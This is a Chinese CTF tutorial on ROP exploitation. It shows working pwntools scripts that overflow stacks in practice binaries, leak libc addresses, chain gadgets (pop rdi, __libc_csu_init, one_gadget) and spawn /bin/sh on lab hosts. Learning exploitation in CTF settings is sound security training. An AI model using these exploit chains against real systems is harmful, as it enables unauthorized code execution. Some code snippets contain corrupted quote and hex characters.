Linux pwn入门教程(3)——ROP技术

roger

　　作者：Tangerine@SAINTSEC
　　原文来自：https://bbs.ichunqiu.com/thread-42530-1-1.html
0×00 背景　　在上一篇教程的《shellcode的变形》一节中，我们提到过内存页的RWX三种属性。显然，如果某一页内存没有可写(W)属性，我们就无法向里面写入代码，如果没有可执行(X)属性，写入到内存页中的shellcode就无法执行。关于这个特性的实验在此不做展开，大家可以尝试在调试时修改EIP和read()/scanf()/gets()等函数的参数来观察操作无对应属性内存的结果。那么我们怎么看某个ELF文件中是否有RWX内存页呢？首先我们可以在静态分析和调试中使用IDA的快捷键Ctrl + S

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　　或者同上一篇教程中的方法，使用pwntools自带的checksec命令检查程序是否带有RWX段。当然，由于程序可能在运行中调用mprotect(), mmap()等函数动态修改或分配具有RWX属性的内存页，以上方法均可能存在误差。
　　既然攻击者们能想到在RWX段内存页中写入shellcode并执行，防御者们也能想到，因此，一种名为NX位（No eXecute bit）的技术出现了。这是一种在CPU上实现的安全技术，这个位将内存页以数据和指令两种方式进行了分类。被标记为数据页的内存页（如栈和堆）上的数据无法被当成指令执行，即没有X属性。由于该保护方式的使用，之前直接向内存中写入shellcode执行的方式显然失去了作用。因此，我们就需要学习一种著名的绕过技术——ROP（Return-Oriented Programming, 返回导向编程）
　　顾名思义，ROP就是使用返回指令ret连接代码的一种技术（同理还可以使用jmp系列指令和call指令，有时候也会对应地成为JOP/COP）。一个程序中必然会存在函数，而有函数就会有ret指令。我们知道，ret指令的本质是pop eip，即把当前栈顶的内容作为内存地址进行跳转。而ROP就是利用栈溢出在栈上布置一系列内存地址，每个内存地址对应一个gadget，即以ret/jmp/call等指令结尾的一小段汇编指令，通过一个接一个的跳转执行某个功能。由于这些汇编指令本来就存在于指令区，肯定可以执行，而我们在栈上写入的只是内存地址，属于数据，所以这种方式可以有效绕过NX保护。
　　0×01 使用ROP调用got表中函数
　　首先我们来看一个x86下的简单ROP，我们将通过这里例子演示如何调用一个存在于got表中的函数并控制其参数。我们打开~/RedHat 2017-pwn1/pwn1。可以很明显看到main函数存在栈溢出：

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变量v1的首地址在bp-28h处，即变量在栈上，而输入使用的__isoc99_scanf不限制长度，因此我们的过长输入将会造成栈溢出。

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　　程序开启了NX保护，所以显然我们不可能用shellcode打开一个shell。根据之前文章的思路，我们很容易想到要调用system函数执行system(“/bin/sh”)。那么我们从哪里可以找到system和”/bin/sh”呢？
　　第一个问题，我们知道使用动态链接的程序导入库函数的话，我们可以在GOT表和PLT表中找到函数对应的项（稍后的文章中我们将详细解释）。跳转到.got.plt段，我们发现程序里居然导入了system函数。

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　　解决了第一个问题之后我们就需要考虑第二个问题。通过对程序的搜索我们没有发现字符串“/bin/sh”，但是程序里有__isoc99_scanf，我们可以调用这个函数来读取”/bin/sh”字符串到进程内存中。下面我们来开始构建ROP链。
　　首先我们考虑一下“/bin/sh”字符串应该放哪。通过调试时按Ctrl+S快捷键查看程序的内存分段，我们看到0x0804a030开始有个可读可写的大于8字节的地址，且该地址不受ASLR影响，我们可以考虑把字符串读到这里。

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接下来我们找到__isoc99_scanf的另一个参数“%s”，位于0x08048629
　　

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　　接着我们使用pwntools的功能获取到__isoc99_scanf在PLT表中的地址，PLT表中有一段stub代码，将EIP劫持到某个函数的PLT表项中我们可以直接调用该函数。我们知道，对于x86的应用程序来说，其参数从右往左入栈。因此，现在我们就可以构建出一个ROP链。
`from pwn import *
　　context.update(arch = ‘i386′, os = ‘linux’, timeout = 1)
io = remote(’172.17.0.3′, 10001)
　　elf = ELF(‘./pwn1′)
scanf_addr = p32(elf.symbols['__isoc99_scanf'])
format_s = p32(0×08048629)
binsh_addr = p32(0x0804a030)
　　shellcode1 = ‘A’*0×34
shellcode1 += scanf_addr
shellcode1 += format_s
shellcode1 += binsh_addr
　　print io.read()
io.sendline(shellcode1)
io.sendline(“/bin/sh”) 我们来测试一下。 通过调试我们可以看到，当EIP指向retn时，栈上的数据和我们的预想一样，栈顶是plt表中__isoc99_scanf的首地址，紧接着是两个参数。  我们继续跟进执行，在libc中执行一会儿之后，我们收到了一个错误  这是为什么呢？我们回顾一下之前的内容。我们知道call指令会将call指令的下一条指令地址压入栈中，当被call调用的函数运行结束后，ret指令就会取出被call指令压入栈中的地址传输给EIP。但是在这里我们绕过call直接调用了__isoc99_scanf，没有像call指令一样向栈压入一个地址。此时函数认为返回地址是紧接着scanf_addr的format_s，而第一个参数就变成了binsh_addr`
call调用函数的情况

08048557  mov   [esp+4], eax
0804855B  mov   dword ptr [esp], offset unk_8048629                
08048562  call    ___isoc99_scanf                
08048567  lea     eax, [esp+18h]

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从两种调用方式的比较上我们可以看到，由于少了call指令的压栈操作，如果我们在布置栈的时候不模拟出一个压入栈中的地址，被调用函数的取到的参数就是错位的。所以我们需要改良一下ROP链。根据上面的描述，我们应该在参数和保存的EIP中间放置一个执行完的返回地址。鉴于我们调用scanf读取字符串后还要调用system函数，我们让__isoc99_scanf执行完后再次返回到main函数开头，以便于再执行一次栈溢出。改良后的ROP链如下：

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我们再次进行调试，发现这回成功调用__isoc99_scanf把”/bin/sh”字符串读取到地址0x0804a030处

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　　此时程序再次从main函数开始执行。由于栈的状态发生了改变，我们需要重新计算溢出的字节数。然后再次利用ROP链调用system执行system(“/bin/sh”)，这个ROP链可以模仿上一个写出来，完整的脚本也可以在对应文件夹中找到，此处不再赘述。
　　接下来让我们来看看64位下如何使用ROP调用got表中的函数。我们打开文件~/bugs bunny ctf 2017-pwn150/pwn150，很容易就可以发现溢出出现在Hello()里

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和上一个例子一样，由于程序开启了NX保护，我们必须找到system函数和”/bin/sh”字符串。程序在main函数中调用了自己定义的一个叫today的函数，执行了system(“/bin/date”)，那么system函数就有了。至于”/bin/sh”字符串，虽然程序中没有，但是我们找到了”sh”字符串，利用这个字符串其实也可以开shell

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　　OK，现在我们有了栈溢出点，有了system函数，有了字符串”sh”，可以尝试开shell了。首先我们要解决传参数的问题。和x86不同，在x64下通常参数从左到右依次放在rdi, rsi, rdx, rcx, r8, r9，多出来的参数才会入栈（根据调用约定的方式可能有不同，通常是这样），因此，我们就需要一个给RDI赋值的办法。由于我们可以控制栈，根据ROP的思想，我们需要找到的就是pop rdi; ret，前半段用于赋值rdi，后半段用于跳到其他代码片段。
　　有很多工具可以帮我们找到ROP gadget，例如pwntools自带的ROP类，ROPgadget、rp++、ropeme等。在这里我使用的是ROPgadget（https://github.com/JonathanSalwan/ROPgadget）
　　通过ROPgadget –binary 指定二进制文件，使用grep在输出的所有gadgets中寻找需要的片段

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这里有一个小trick。首先，我们看一下IDA中这个地址的内容是什么。

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我们可以发现并没有0x400883这个地址，0x400882是pop r15, 接下来就是0x400884的retn，那么这个pop rdi会不会是因为ROPgadget出bug了呢？别急，我们选择0x400882，按快捷键D转换成数据。

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然后选择0×400883按C转换成代码

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　　我们可以看出来pop rdi实际上是pop r15的“一部分”。这也再次验证了汇编指令不过是一串可被解析为合法opcode的数据的别名。只要对应的数据所在内存可执行，能被转成合法的opcode，跳转过去都是不会有问题的。
　　现在我们已经准备好了所有东西，可以开始构建ROP链了。这回我们直接调用call system指令，省去了手动往栈上补返回地址的环节，脚本如下：

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进行调试，发现开shell成功。

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retn跳转到0×400883处的gadget：pop rdi; ret

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pop rdi将”sh”字符串所在地址0x4003ef赋值给rdi

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　　retn跳转到call system处
　　0×02 使用ROP调用int 80h/syscall
在上一节中，我们接触到了一种最简单的使用ROP的场景。但是现实的情况是很多情况下目标程序并不会导入system函数。在这种情况下我们就需要通过其他方法达到目标。在这一节中我们首先学习的是通过ROP调用int 80h/syscall
关于int 80h/syscall，在上一篇文章的《系统调用》一节中已经做了介绍，现在我们来看例子~/Tamu CTF 2018-pwn5/pwn5.这个程序的主要功能在print_beginning()实现。

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这个函数有大量的puts()和printf()输出提示，要求我们输入first_name, last_name和major三个字符串到三个全局变量里，然后选择是否加入Corps of Cadets。不管选是还是否都会进入一个差不多的函数

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我们可以看到只有选择选项2才会调用函数change_major()，其他选项都只是打印出一些内容。进入change_major()后，我们发现了一个栈溢出：

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发现了溢出点后，我们就可以开始构思怎么getshell了。就像开头说的那样，这个程序里找不到system函数。但是我们用ROPGadget –binary pwn5 | grep “int 0×80”找到了一个可用的gadget

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回顾一下上一篇文章，我们知道在http://syscalls.kernelgrok.com/ 上可以找到sys_execve调用，同样可以用来开shell，这个系统调用需要设置5个寄存器，其中eax = 11 = 0xb, ebx = &(“/bin/sh”), ecx = edx = edi = 0. “/bin/sh”我们可以在前面输入到地址固定的全局变量中。接下来我们就要通过ROPgadget搜索pop eax/ebx/ecx/edx/esi; ret了。

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pop eax; pop ebx; pop esi; pop edi; ret

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pop edx; pop ecx; pop ebx; ret

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构建ROP链和脚本如下：

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调试时发现执行失败了，ROP链并没有被读进去

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　　这是为什么呢？
　　我们输出payload后发现0x080150a里面有两个0x0a，即“\n”

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在输入的时候，我们会使用回车键”\n”代表输入结束，显然这边也是受到了这个控制字符的影响，因此我们需要重新挑选gadgets。我们把gadget换成这一条

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修改脚本发现成功getshell
0×03 从给定的libc中寻找gadget　　有时候pwn题目也会提供一个pwn环境里对应版本的libc。在这种情况下，我们就可以通过泄露出某个在libc中的内容在内存中的实际地址，通过计算偏移来获取system和“/bin/sh”的地址并调用。这一节的例子是~/Security Fest CTF 2016-tvstation/tvstation. 这是一个比较简单的题目，题目中除了显示出来的三个选项之外还有一个隐藏的选项4，选项4会直接打印出system函数在内存中的首地址：

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从IDA中我们可以看到打印完地址后执行了函数debug_func()，进入函数debug_func()之后我们发现了溢出点

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由于这个题目给了libc，且我们已经泄露出了system的内存地址。使用命令readelf -a 查看libc.so.6_x64

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　　从这张图上我们可以看出来.text节（Section）属于第一个LOAD段（Segment），这个段的文件长度和内存长度是一样的，也就是说所有的代码都是原样映射到内存中，代码之间的相对偏移是不会改变的。由于前面的PHDR, INTERP两个段也是原样映射，所以在IDA里看到的system首地址距离文件头的地址偏移和运行时的偏移是一样的。如：
　　在这个libc中system函数首地址是0x456a0，即从文件的开头数0x456a0个字节到达system函数

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调试程序，发现system在内存中的地址是0x7fb5c8c266a0

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0x7fb5c8c266a0 -0x456a0 =0x7fb5c8be1000‬

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　　根据这个事实，我们就可以通过泄露出来的libc中的函数地址获取libc在内存中加载的首地址，从而以此跳转到其他函数的首地址并执行。
　　在libc中存在字符串”/bin/sh”，该字符串位于.data节，根据同样的原理我们也可以得知这个字符串距libc首地址的偏移

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还有用来传参的gadget :pop rdi; ret

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据此我们可以构建脚本如下

#!/usr/bin/python
#coding:utf-8

from pwn import *

io = remote('172.17.0.2', 10001)

io.recvuntil(": ")
io.sendline('4')                                        #跳转到隐藏选项
io.recvuntil("@0x")
system_addr = int(io.recv(12), 16)        #读取输出的system函数在内存中的地址
libc_start = system_addr - 0x456a0        #根据偏移计算libc在内存中的首地址
pop_rdi_addr = libc_start + 0x1fd7a        #pop rdi; ret 在内存中的地址，给system函数传参
binsh_addr = libc_start + 0x18ac40        #"/bin/sh"字符串在内存中的地址

payload = ""
payload += 'A'*40                                        #padding
payload += p64(pop_rdi_addr)                #pop rdi; ret
payload += p64(binsh_addr)                        #system函数参数
payload += p64(system_addr)                        #调用system()执行system("/bin/sh")

io.sendline(payload)

io.interactive()

0×04 一些特殊的gadgets　　这一节主要介绍两个特殊的gadgets。第一个gadget经常被称作通用gadgets，通常位于x64的ELF程序中的__libc_csu_init中，如下图所示：

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这张图片里包含了两个gadget，分别是

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　　我们知道在x64的ELF程序中向函数传参，通常顺序是rdi, rsi, rdx, rcx, r8, r9, 栈，以上三段gadgets中，第一段可以设置r12-r15，接上第三段使用已经设置的寄存器设置rdi, 接上第二段设置rsi, rdx, rbx，最后利用r12+rbx*8可以call任意一个地址。在找gadgets出现困难时，可以利用这个gadgets快速构造ROP链。需要注意的是，用万能gadgets的时候需要设置rbp=1，因为call qword ptr [r12+rbx*8]之后是add rbx, 1; cmp rbx, rbp; jnz xxxxxx。由于我们通常使rbx=0，从而使r12+rbx*8 = r12，所以call指令结束后rbx必然会变成1。若此时rbp != 1，jnz会再次进行call，从而可能引起段错误。那么这段gadgets怎么用呢？我们来看一下例子~/LCTF 2016-pwn100/pwn100
　　这个例子提供了libc，溢出点很明显，位于0x40063d

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我们需要做的就是泄露一个got表中函数的地址，然后计算偏移调用system。前面的代码很简单，我们就不做介绍了

#!/usr/bin/python
#coding:utf-8

from pwn import *

io = remote("172.17.0.3", 10001)
elf = ELF("./pwn100")

puts_addr = elf.plt['puts']
read_got = elf.got['read']

start_addr = 0x400550
pop_rdi = 0x400763
universal_gadget1 = 0x40075a           #万能gadget1：pop rbx; pop rbp; pop r12; pop r13; pop r14; pop r15; retn
universal_gadget2 = 0x400740        #万能gadget2：mov rdx, r13; mov rsi, r14; mov edi, r15d; call qword ptr [r12+rbx*8]
binsh_addr = 0x60107c                        #bss放了STDIN和STDOUT的FILE结构体，修改会导致程序崩溃

payload = "A"*72                                #padding
payload += p64(pop_rdi)                        #
payload += p64(read_got)
payload += p64(puts_addr)
payload += p64(start_addr)                #跳转到start，恢复栈
payload = payload.ljust(200, "B")        #padding

io.send(payload)
io.recvuntil('bye~\n')
read_addr = u64(io.recv()[:-1].ljust(8, '\x00'))
log.info("read_addr = %#x", read_addr)
system_addr = read_addr - 0xb31e0
log.info("system_addr = %#x", system_addr)

　　为了演示万能gadgets的使用，我们选择再次通过调用read函数读取/bin/sh\x00字符串，而不是直接使用偏移。首先我们根据万能gadgets布置好栈

payload = "A"*72                        #padding
payload += p64(universal_gadget1)        #万能gadget1
payload += p64(0)                        #rbx = 0
payload += p64(1)                        #rbp = 1，过掉后面万能gadget2的call返回后的判断
payload += p64(read_got)        #r12 = got表中read函数项，里面是read函数的真正地址，直接通过call调用
payload += p64(8)                        #r13 = 8，read函数读取的字节数，万能gadget2赋值给rdx
payload += p64(binsh_addr)        #r14 = read函数读取/bin/sh保存的地址，万能gadget2赋值给rsi
payload += p64(0)                        #r15 = 0，read函数的参数fd，即STDIN，万能gadget2赋值给edi
payload += p64(universal_gadget2)        #万能gadget2

　　
我们是不是应该直接在payload后面接上返回地址呢？不，我们回头看一下universal_gadget2的执行流程

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由于我们的构造，上面的那块代码只会执行一次，然后流程就将跳转到下面的loc_400756，这一系列操作将会抬升8*7共56字节的栈空间，因此我们还需要提供56个字节的垃圾数据进行填充，然后再拼接上retn要跳转的地址。

payload += '\x00'*56                #万能gadget2后接判断语句，过掉之后是万能gadget1，用于填充栈
payload += p64(start_addr)        #跳转到start，恢复栈
payload = payload.ljust(200, "B")        #padding
接下来就是常规操作getshell
io.send(payload)
io.recvuntil('bye~\n')
io.send("/bin/sh\x00")                #上面的一段payload调用了read函数读取"/bin/sh\x00"，这里发送字符串

payload = "A"*72                                #padding
payload += p64(pop_rdi)                        #给system函数传参
payload += p64(binsh_addr)                #rdi = &("/bin/sh\x00")
payload += p64(system_addr)                #调用system函数执行system("/bin/sh")
payload = payload.ljust(200, "B")        #padding

io.send(payload)
io.interactive()

　　我们介绍的第二个gadget通常被称为one gadget RCE，顾名思义，通过一个gadget远程执行代码，即getshell。我们通过例子~/TJCTF 2016-oneshot/oneshot演示一下这个gadget的威力。
要利用这个gadget，我们需要一个对应环境的libc和一个工具one_gadget(https://github.com/david942j/one_gadget)。这个程序没有栈溢出，其代码非常简单

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从红框中的代码我们看到地址rbp+var_8被作为__isoc99_scanf的第二个参数赋值给rsi，即输入被保存在这里。随后rbp+var_8中的内容被赋值给rax，又被赋值给rdx，最后通过call rdx执行。也就是说我们输入一个数字，这个数字会被当成地址使用call调用。由于只能控制4字节，我们就需要用到one gadget RCE来一步getshell。我们通过one_gadget找到一些gadget：

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我们看到这些gadget有约束条件。我们选择第一条，要求rax=0。我们构建脚本进行调试：

#!/usr/bin/python
#coding:utf-8

from pwn import *

one_gadget_rce = 0x45526
#one_gadget libc.so.6_x64
#0x45526        execve("/bin/sh", rsp+0x30, environ)
#constraints:
#  rax == NULL
setbuf_addr = 0x77f50        
setbuf_got = 0x600ae0

io = remote("172.17.0.2", 10001)

io.sendline(str(setbuf_got))
io.recvuntil("Value: ")
setbuf_memory_addr = int(io.recv()[:18], 16)        #通过打印got表中setbuf项的内容泄露setbuf在内存中的首地址

io.sendline(str(setbuf_memory_addr - (setbuf_addr - one_gadget_rce)))        #通过偏移计算one_gadget_rce在内存中的地址

io.interactive()

　　执行到call rdx时rax = 0

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getshell成功

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大家可以阅读原文下载课后例题和练习题哦~

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